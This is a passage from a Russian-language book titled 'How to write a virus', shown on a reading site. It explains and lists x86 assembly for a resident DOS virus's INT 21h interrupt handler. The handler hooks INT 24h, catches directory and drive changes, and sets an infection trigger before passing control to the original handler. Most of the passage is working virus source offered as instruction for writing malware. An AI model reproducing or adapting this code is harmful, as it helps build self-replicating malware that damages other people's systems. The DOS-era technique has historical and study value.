"Игорь Коваль. Как написать вирус" - читать интересную книгу автора

написать более эффективный фрагмент,зато выбранный
нами метод достаточно прост .


2.18 Обработчик Int 21h

Рассмотрим теперь создание обработчика прерывания
Int 21h .Как мы договорились, он должен помещать
" единицу " в ячейку " tg_infect ", если DOS вы-
полняет смену текущего каталога или диска ( см п.
2.5 ) .Поэтому напишем " фильтр ", который будет
проверять, какая именно функция DOS вызвана в тот
или иной момент :

;-------------------------------------------------

to_new_21h equ $-vir

new_21h: jmp cs:start_21h

tg_infect db 0

start_21h: pushf
push di
push es
xor di,di ;Перехват
mov es,di ;INT 24h в рези-
mov di,90h ;дентном режиме
mov word ptr es:[di],to_new_24h
mov es:[di+2],cs
cmp ah,03bh ;Активизировать
;вирус ?
jne cs:new_cmp_1
mov cs:tg_infect-110h,1;Да - взводим
;триггер ...
new_cmp_1: cmp ah,00eh
jne cs:to_jump
mov cs:tg_infect - 110h,1
to_jump: pop es
pop di
popf
db 0eah ;Переход на ста-
old_21h dw 0 ;рый обработчик
old_21h_2 dw 0 ;INT 21h ...

Поскольку при вызове функции DOS в регистре AH за-
дается ее номер,достаточно просто проанализировать
его и " выловить " нужные значения.Наш вирус будет
реагировать на смену текущего каталога (AH=03Bh),и
смену текущего диска (AH=0Eh) .Эти числа и пытает-